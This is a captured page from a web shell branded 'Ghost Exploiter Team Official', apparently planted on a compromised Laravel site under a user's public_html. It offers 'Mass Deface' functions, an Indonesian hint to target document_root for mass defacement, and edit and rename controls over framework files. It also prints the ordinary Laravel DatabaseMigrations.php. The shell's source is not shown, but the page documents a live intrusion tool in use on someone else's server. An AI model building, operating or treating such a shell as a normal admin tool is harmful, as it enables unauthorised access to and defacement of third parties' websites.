webshell
Ghost Exploiter Team Official
Mass Deface
Directory >>
/
home
/
whitjouh
/
public_html
/
core
/
vendor
/
laravel
/
framework
/
src
/
Illuminate
/
Foundation
/
Testing
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
+New File
Concerns
--
ren
Traits
--
ren
DatabaseMigrations.php
1.355KB
edt
ren
DatabaseTransactions.php
1.559KB
edt
ren
DatabaseTransactionsMan
...
1.36KB
edt
ren
DatabaseTruncation.php
4.96KB
edt
ren
LazilyRefreshDatabase.php
0.991KB
edt
ren
RefreshDatabase.php
3.733KB
edt
ren
RefreshDatabaseState.php
0.349KB
edt
ren
TestCase.php
8.353KB
edt
ren
WithConsoleEvents.php
0.336KB
edt
ren
WithFaker.php
1.208KB
edt
ren
WithoutEvents.php
0.445KB
edt
ren
WithoutMiddleware.php
0.488KB
edt
ren
Wormhole.php
5.161KB
edt
ren
<?php namespace Illuminate\Foundation\Testing; use Illuminate\Contracts\Console\Kernel; use Illuminate\Foundation\Testing\Traits\CanConfigureMigrationCommands; trait DatabaseMigrations { use CanConfigureMigrationCommands; /** * Define hooks to migrate the database before and after each test. * * @return void */ public function runDatabaseMigrations() { $this->beforeRefreshingDatabase(); $this->refreshTestDatabase(); $this->afterRefreshingDatabase(); $this->beforeApplicationDestroyed(function () { $this->artisan('migrate:rollback'); RefreshDatabaseState::$migrated = false; }); } /** * Refresh a conventional test database. * * @return void */ protected function refreshTestDatabase() { $this->artisan('migrate:fresh', $this->migrateFreshUsing()); $this->app[Kernel::class]->setArtisan(null); } /** * Perform any work that should take place before the database has started refreshing. * * @return void */ protected function beforeRefreshingDatabase() { // ... } /** * Perform any work that should take place once the database has finished refreshing. * * @return void */ protected function afterRefreshingDatabase() { // ... } }
<=Back
Liking